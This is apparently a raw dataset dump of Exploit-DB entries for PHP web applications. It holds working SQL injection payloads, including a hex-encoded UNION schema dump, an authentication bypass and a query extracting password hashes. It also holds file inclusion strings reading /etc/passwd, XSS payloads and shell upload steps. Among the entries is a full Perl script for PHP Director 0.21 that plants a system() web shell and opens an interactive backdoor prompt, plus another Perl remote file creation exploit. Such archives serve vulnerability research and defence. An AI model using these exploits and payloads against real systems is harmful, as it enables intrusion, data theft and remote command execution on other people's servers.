deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46212
Description: PHP Dashboards NEW 5.8 - 'dashID' SQL Injection
Type: webapps
Platform: php
Date: 2019-01-21
Author: Ihsan Sencan

Exploit:
# Exploit Title: PHP Dashboards NEW 5.8 - SQL Injection
# Dork: N/A
# Date: 2019-01-21
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://dataninja.biz
# Software Link: https://codecanyon.net/item/php-dashboards-v50-brand-new-enterprise-edition/21540104
# Version: 5.8
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/php/save/savedescriptions.php?dashID=[SQL]
# 

GET /[PATH]/php/save/savedescriptions.php?dashID=%2d%31%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%28%53%45%4c%45%43%54%20%47%52%4f%55%50%5f%43%4f%4e%43%41%54%28%73%63%68%65%6d%61%5f%6e%61%6d%65%20%53%45%50%41%52%41%54%4f%52%20%30%78%33%63%36%32%37%32%33%65%29%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%53%43%48%45%4d%41%54%41%29%2c%31%31%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=a5i6r78j7v22ql1qrvtsampff6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 20 Jan 2019 21:08:05 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Host-Header: 192fc2e7e50945beb8231a492d6a8024
X-Proxy-Cache: MISS
Exploit-DB #46213
Description: PHP Dashboards NEW 5.8 - Local File Inclusion
Type: webapps
Platform: php
Date: 2019-01-21
Author: Ihsan Sencan

Exploit:
# Exploit Title: PHP Dashboards NEW 5.8 - Local File Inclusion
# Dork: N/A
# Date: 2019-01-21
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://dataninja.biz
# Software Link: https://codecanyon.net/item/php-dashboards-v50-brand-new-enterprise-edition/21540104
# Version: 5.8
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/php/file/read.php
# 

POST /[PATH]/php/file/read.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Cookie: PHPSESSID=a5i6r78j7v22ql1qrvtsampff6
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
filename=../../../../../../etc/[CREDENTIAL_REDACTED]
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 20 Jan 2019 20:56:25 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Host-Header: 192fc2e7e50945beb8231a492d6a8024
Exploit-DB #3501
Description: PHP DB Designer 1.02 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-16
Author: GoLd_M

Exploit:
# PHP DB Designer <= 1.02 Remote File Include Exploit
# D.Script: http://sourceforge.net/projects/phpdbdesigner/
# Discovered by: GloD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# Exploit:[Path]/db/session.php?_SESSION[DRIVER]=Shell
# Exploit:[Path]/wind/help.php?_SESSION[SITE_PATH]=Shell
# Exploit:[Path]/wind/about.php?_SESSION[SITE_PATH]=Shell

# milw0rm.com [2007-03-16]
Exploit-DB #19179
Description: PHP Decoda 3.3.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-06-16
Author: Number 7

Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Exploit Title: [php-decoda local file inclusion ]
# Date: [16/06/2012]
# Author: [Number 7]
# Software Link: [http://milesj.me/code/php/decoda]
# Version: [3.3.1]
# Tested on: [linux]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exp: 
http://localhost/milesj-php-decoda/index.php?view=../../../../../../../etc/passwd%00
 
~~Line 111 in Index.php:
	<?php	include $view .'.php'; ?>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Blogpot:   [http://TunisianSeven.blogspot.com/]
Twitter:   [@TunisianSeven]
Exploit-DB #37025
Description: PHP Designer 2007 Personal - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-03-30
Author: MR.XpR

Exploit:
source:  https://www.securityfocus.com/bid/52819/info

PHP Designer 2007 - Personal is prone multiple SQL-injection vulnerabilities.

A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/read_news.php?news_id=[Sqli]
http://www.example.com/announce.php?id=[Sqli]
Exploit-DB #9484
Description: PHP Dir Submit - 'aid' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-24
Author: Mr.tro0oqy

Exploit:
======================================================================
[Â»] Script : PHP Dir Submit Version 1.00 (aid) Remote SQL Injection Vuln

[Â»] Language : php

[Â»] Dork : Powered by PHP Dir Submit - Directory Submission Script  

[Â»] Script site : http://www.phpdirsubmit.com

[Â»] Founder: Mr.tro0oqy <- from Yemen

[Â»] Gr44tz to: [H]-> borken heart :(

[Â»] E-mail : t.4@windowslive.com
======================================================================
exploit:
--------
u must be registered in site

step1:
go to : 
-------
www.xxx.com/path/index.php?menu=signup
-------
step2:
after that : 
-------
add post from here

www.xxx.com/index.php?menu=articles
-------
step3:
press on "View Article" 
and start to inject


http://www.xxx.com/path/index.php?menu=showarticle&aid=3+and+1=0/**/union/**/select/**/1,version(),3,4,user(),database(),7,8,9,10,11--

--------
demo:
--------
http://demo.phpdirsubmit.com
--------

# milw0rm.com [2009-08-24]
Exploit-DB #8710
Description: PHP Dir Submit - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-05-18
Author: snakespc

Exploit:
-------------------------AllaH AkbaR-------------------------------
PHP Dir Submit (Auth Bypass) Remote Sql Injection
---------------------------------------------------------------------------
Discovered By: Snakespc     ALGERIAN HaCkEr 
Mail: snakespc@gmail.com
Site:http://www.snakespc.com/sc/index.php
Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
             Aflawa Kamikaz Wa4rin Fi kol Bla4s 
-------------------------SNAKES TEAM-------------------------------------
Script:PHP Dir Submit
http://www.phpdirsubmit.com
-------------------------SNAKES TEAM-------------------------------------
Exploit:
-----------
http://demo.phpdirsubmit.com/admin/

Username:   ' or '1=1
Password:   ' or '1=1
-------------------------SNAKES TEAM-------------------------------------
Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::
sunhouse2:::aSSaSSin_HaCkErS:::THE INJECTOR:::ALMADJHOOL
--------------------------SNAKES TEAM------------------------------------
ALL www.SnakespC.com/sc>>>> (  Members )
Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-05-18]
Exploit-DB #13738
Description: PHP Director 0.2 - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-06
Author: Mr.Rat

Exploit:
# Exploit Title:
 PHP Director 0.2 Sql Injection.

# Date: 05/06/2010

# Author: 
Mr.Rat [ NaSrO22@HoTmAiL.Fr ]

# Software Link: www.phpdirector.co.uk

# Version: 0.2

# Tested on: Windows 
Xp SP2

# Code : 



http://victim.com/path/videos.php?id=-44+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15--



Greetz
 To My Best Friend :: Hacker-Noir ;)
Exploit-DB #8014
Description: PHP Director 0.21 - Remote Command Execution
Type: webapps
Platform: php
Date: 2009-02-09
Author: darkjoker

Exploit:
--+++===================================================================+++--
--+++====== PHP Director <= 0.21 Remote Command Execution Exploit ======+++--
--+++===================================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub clear
{
	my $out = $_ [0];
	$out =~ s/.+?xx//;
	$out =~ s/xx.+//;
	return $out;
}

sub usage
{
	print   "\nPHP Director <= 0.21 Remote Command Execution Exploit".
		"\n[+] Author: darkjoker".
		"\n[+] Site  : http://darkjoker.net23.net".
		"\n[+] Download: http://downloads.sourceforge.net/phpdirector/PHPDirector-Install-0.21-.zip?modtime=[PII_REDACTED]&big_mirror=0".
		"\n[+] Usage   : perl ${0} <hostname> <cms path> <shell destination>".
		"\n[+] Ex.     : perl ${0} localhost /PHPDirector /opt/lampp/htdocs/PHPDirector".
		"\n[+] Notes   : <shell destination> must be the same directory where CMS is hosted".
		"\n\n";
	exit ();
}

sub send_shell
{
	my ($host, $path, $disc_path) = @_;
	my $sock = new IO::Socket::INET (
		PeerHost => $host,
		PeerPort => 80,
		Proto    => "tcp",
	) or die "[-] Exploit failed.\n";
	my $sql_code = "searching=x' UNION SELECT 1,'xx<? system (\$_GET [cmd]); ".
		    "?>xx', 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 INTO ".
		    "OUTFILE '${disc_path}/shell.php' FROM pp_files#";
	my $post = "POST ${path}/index.php HTTP/1.1\r\n".
		"Host: ${host}\r\n".
		"Connection: Close\r\n".
		"Content-Length: ". length ($sql_code) . "\r\n".
		"Content-Type: application/x-www-form-urlencoded\r\n\r\n".
		$sql_code;
	print $sock $post;
	close ($sock);
}

my ($host, $path, $disc_path) = @ARGV;
usage unless ($disc_path);
$disc_path = "../"x10 . $disc_path;
send_shell ($host, $path, $disc_path);
print "Delete this shell after use.\n'quit' command to exit\n\n";
my $cmd;
while (1)
{
	print "backdoor\@${host}: \$ ";
	$cmd = <STDIN>;
	chomp $cmd;
	$cmd =~ s/ /%20/g;
	exit if ($cmd =~ /quit/);
	my $sock = new IO::Socket::INET (
		PeerHost => $host,
		PeerPort => 80,
		Proto    => "tcp",
	);
	my $get = "GET ${path}/shell.php?cmd=${cmd}\r\n\r\n";
	print $sock $get;
	my $x;
	$x .= $_ while (<$sock>);
	$x = clear ($x);
	print $x;
	close ($sock);
}

# milw0rm.com [2009-02-09]
Exploit-DB #35705
Description: PHP Directory Listing Script 3.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-05
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47727/info

PHP Directory Listing is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHP Directory Listing script 3.1 is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php/[xss]
Exploit-DB #26643
Description: PHP Doc System 1.5.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15611/info

PHP Doc System is prone to a local file-include vulnerability. This is due to the application's failure to properly sanitize user-supplied input.

This may facilitate the unauthorized viewing of files and unauthorized execution of local PHP code.

PHP Doc System 1.5.1 and prior versions are reported vulnerable; other versions may also be affected. 

http://www.example.com/index.php?show=../File
Exploit-DB #5183
Description: PHP Download Manager 1.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-02-24
Author: BeyazKurt

Exploit:
#####################################################
# Author : BeyazKurt
# Contact : Bey4zKurt@Gmail.Com
#
# Script : php Download Manager (v1.1 & 1.0)
# Risk : Local File Include
# Download : http://sourceforge.net/project/showfiles.php?group_id=185482
#
# File : include/body.inc.php
#
# Code :
#   <?php
#      if (file_exists($content)) {
#      include($content);
#      } else { echo "<p>This page has no content.</p>"; }
#   ?>
#
# Exploit :
#
#  Vuln.Com/include/body.inc.php?content=../../etc/passwd
#
#----------------------------
#
#                          INDEPENDENT KOSOVA (H)
#  ARNAVUT Olmak AyrÄ±calÄ±ktÄ±r - Being An ALBANIAN Is A Priviledge
#            
#                      15 Sehidimizin ruhu saad olsun...
#
#                            Www.Netkabus.Com
#
#  Not : I Love You Gulsum (F)
#  Thnx : Ekin0x - Fotosopar seni :D
#####################################################

# milw0rm.com [2008-02-24]
Exploit-DB #26544
Description: PHP Download Manager 1.1.x - 'files.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-21
Author: ksa_ksa82

Exploit:
source: https://www.securityfocus.com/bid/15517/info

PHP Download Manager is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/files.php?cat='&sort
Exploit-DB #6770
Description: PHP Easy Downloader 1.5 - 'file' File Disclosure
Type: webapps
Platform: php
Date: 2008-10-16
Author: LMaster

Exploit:
::::::::::::::::::::R3AL.RU::::::::::::::::::::

PHP Easy Downloader <= 1.5 Remote File Download

Author: LMaster

Greetz: Pogozheva Irina Borisovna and r3al.ru

Download:

http://www.hasemithut.de/downloads/index.php

Exploit:

http://www.target.com/phpeasydownloader/index.php?file=index.php

# milw0rm.com [2008-10-16]
Exploit-DB #6784
Description: PHP Easy Downloader 1.5 - Remote File Creation
Type: webapps
Platform: php
Date: 2008-10-18
Author: StAkeR

Exploit:
#!/usr/bin/perl
# --------------------------------------------------------
# PHP Easy Downloader <= 1.5 Remote File Creation Exploit
# By StAkeR aka athos - StAkeR[at]hotmail[dot]it
# On 17/10/2008
# http://www.hasemithut.de/downloads/index.php
# --------------------------------------------------------

use strict;
use LWP::UserAgent;

my $host = shift(@ARGV);
my $file = shift(@ARGV);
my $http = new LWP::UserAgent;

if($host !~ /^http:\/\/(.+?)$/ && $file !~ /(\w+)\.([a-zA-Z])?/)
{
  print "[?] PHP Easy Downloader <= 1.5 Remote File Creation Exploit\r\n";
  print "[?] Usage: perl $0 http://[host] [filename]\r\n";
  exit;
}

chomp(my $code = <STDIN>);

if($code !~ /(<\?php|<\?#)(.*?)\?>/)
{
  print "[?] You must insert PHP Code\r\n";
  exit;
}
  
my $post = $http->post($host.'/file_info/admin/save.php',
                       [
                        filename    => $file,
                        accesses    => $code.'//',
                      ]); 

if($post->is_success)
{
  if($post->as_string =~ /(Upload Date|Change Made!)/i)
  {
    print "[?] $host/file_info/descriptions/$file.0 Created\r\n";
    exit;
  }
  else
  {
    print "[?] Exploit Failed!\r\n";
    exit;
  }
} 


__END__

# milw0rm.com [2008-10-18]
Exploit-DB #34847
Description: PHP Easy Shopping Cart 3.1R - 'subitems.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-07
Author: Moudi

Exploit:
source:  https://www.securityfocus.com/bid/44142/info

PHP Easy Shopping Cart is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHP Easy Shopping Cart 3.1R is vulnerable; others versions may also be affected. 

http://example.com/subitems.php?id=[NB]&name=[XSS]

http://example.com/demo/plant/subitems.php?id=16&name="><script>alert(document.cookie);</script>
Exploit-DB #46455
Description: PHP Ecommerce Script 2.0.6 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2019-02-25
Author: Mr Winst0n

Exploit:
# Exploit Title: PHP Ecommerce Script 2.0.6 - Cross Site Scripting / SQL Injection
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 22, 2019
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link : https://www.phpscriptsmall.com/product/php-ecommerce-script/
# Tested Version: 2.0.6
# Tested on: Kali linux, Windows 8.1 


# PoC:

# Cross Site Scripting:

# http://localhost/[PATH]/?s=[XSS]
# http://localhost/[PATH]/?s=<scRiPt>alert(1)</ScrIpT>

# SQL Injection:

# http://localhost/[PATH]/?s=[SQL]
# http://localhost/[PATH]/?s=1%20and%20extractvalue(rand(),concat(0x7e,version()))
Exploit-DB #9470
Description: PHP Email Manager - 'remove.php?ID' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-18
Author: MuShTaQ

Exploit:
===========================================|->
      ~ Mtrb3 hena [Security-Code] ~
===========================================|->

script :-> PHP Email Manager  < Remote SQL Injection Vulnerability >

Downlode:->http://webscripts.softpedia.com/script/Mailing-List-Managers/PHP-eMail-Manager-30652.html

Dork:->PHPEmailManager

Found by :-> [ MuShTaQ ]

from :-> [WwW.SeC-CoDe.com]

C0ntact :a7m@mail.com

===========================================|->
              ~  Exploit ~
===========================================|->

File :-> http//www.site.com/PHPEmailManager/remove.php?ID=[SQL]

Exploit:-> http://www.site.com/PHPEmailManager/remove.php?ID=-1+union+select+1,concat%28Email,0x3a,PasswordHash%29,3,4,5,6,7,8,9,10,11+from+php_email_man_Users--

Admin Login:-> http//www.site.com/PHPEmailManager/login.php


-:::::::::::::::::: GreeetZ:::::::::::::::::-

Sniper.vb , Mr.Nrfzh,and all friends

Bay Bay

# milw0rm.com [2009-08-18]
Exploit-DB #37140
Description: PHP Enter 4.1.2 - 'banners.php' PHP Code Injection
Type: webapps
Platform: php
Date: 2012-05-08
Author: L3b-r1'z

Exploit:
source: https://www.securityfocus.com/bid/53426/info

PHP Enter is prone to a remote PHP code-injection vulnerability.

An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

PHP Enter 4.1.2 is vulnerable; other versions may also be affected. 

<form method="post" action="http://www.example.com/admin/banners.php">
<center>
<font color=#3A586A>Code</font><br />
<textarea name="code">&lt;/textarea&gt;
<br /><br />
<input type="submit" name="submit" VALUE=" Submit"><br /><br /><br /><br/>
</form>
Exploit-DB #28215
Description: PHP Event Calendar 1.4 - 'calendar.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-13
Author: Solpot

Exploit:
source: https://www.securityfocus.com/bid/18965/info

PHP Event Calendar is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

http://www.example.com/path_to_cl_files/calendar.php?path_to_calendar=http://evilcode
Exploit-DB #28565
Description: PHP Event Calendar 1.4/1.5 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-13
Author: NR Nandini

Exploit:
source: https://www.securityfocus.com/bid/20001/info

PHP Event Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

Version 1.5.1 is vulnerable; other versions may also be affected.

http://www.example.com/directory_where_you_installed_php_event_calendar/cl_files/index.php Vulnerable fields: title field - ti body field - bi Backgroung Image - cbgi Insert "<script>alert('XSS Vulnerable');</script>" in above field and click "Add event".
Exploit-DB #28088
Description: PHP Event Calendar 4.2 - SQL Injection
Type: webapps
Platform: php
Date: 2006-06-22
Author: Silitix

Exploit:
source: https://www.securityfocus.com/bid/18593/info

PHP Event Calendar is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/calendar.php?display=event&id=[SQL]
Exploit-DB #35665
Description: PHP F1 Max's Photo Album - 'showimage.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-26
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47582/info

PHP F1 Max's Photo Album is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/showimage.php?id=[XSS]
Exploit-DB #10511
Description: PHP F1 Upload - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-17
Author: wlhaan hacker

Exploit:
PHP F1 Upload Shell Upload Vulnerability

name scripts:PHP F1

webscripts:http://www.phpf1.com

Created By  :wlhaan Hacker:

Email: iit@hotmail.com



google dork:

"Photo Album"  "Powered by PHP F1"

____________________________________

* How to use it ?

Go to : > http://server/path/admin.php

Upload You Shell:shell.php.pjpeg)

note:

change shell

shell.php.pjpeg

now go to shell

http://server/path/original/shell.php.pjpeg


end

www.sa-hacker.com/vb
Exploit-DB #45327
Description: PHP File Browser Script 1 - Directory Traversal
Type: webapps
Platform: php
Date: 2018-09-04
Author: AkkuS

Exploit:
# Exploit Title: PHP File Browser Script 1 - Directory Traversal
# Dork: N/A
# Date: 2018-09-03
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://www.hscripts.com/scripts/php/file-browser.php
# Software Link:https://www.hscripts.com/scripts/php/downloads/file-browser-demo.zip
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : The "index.php" is vulnerable to directory traversal.
# An attacker can see and read all files known by the name

# Vulnerable File: index.php
<?php // line 45

72  $script = basename(__FILE__); // the name of this script
73  $path = !empty($_REQUEST['path']) ? $_REQUEST['path'] : "demo"; // the path the script should access
74
75  if($loc!=''){
76  echo "<p id='bloc'><b>Browsing Location: </b><a href='index.php'><b>".ucfirst($loc1)."</b></a>
77  <a href='$script?path=$rpath/$loc1/$loc2'><b>".ucfirst($locdem2)."</b></a>
78  <a href=''><b>".ucfirst($locdem3)."</b></a></p>";}
79  else{
80    echo "<p id='bloc'><b>Browsing Location: </b><a href=''><b>Demo</b></a></p>";

?> // line 151

# PoC :

https://Target/scripts/php/file-browser-demo/index.php?path=[DirectoryName]

# You can write the known directory name instead of [DirectoryName].
# Example: '/etc/' or '/var/www/'  
# https://Target/scripts/php/file-browser-demo/index.php?path=/etc/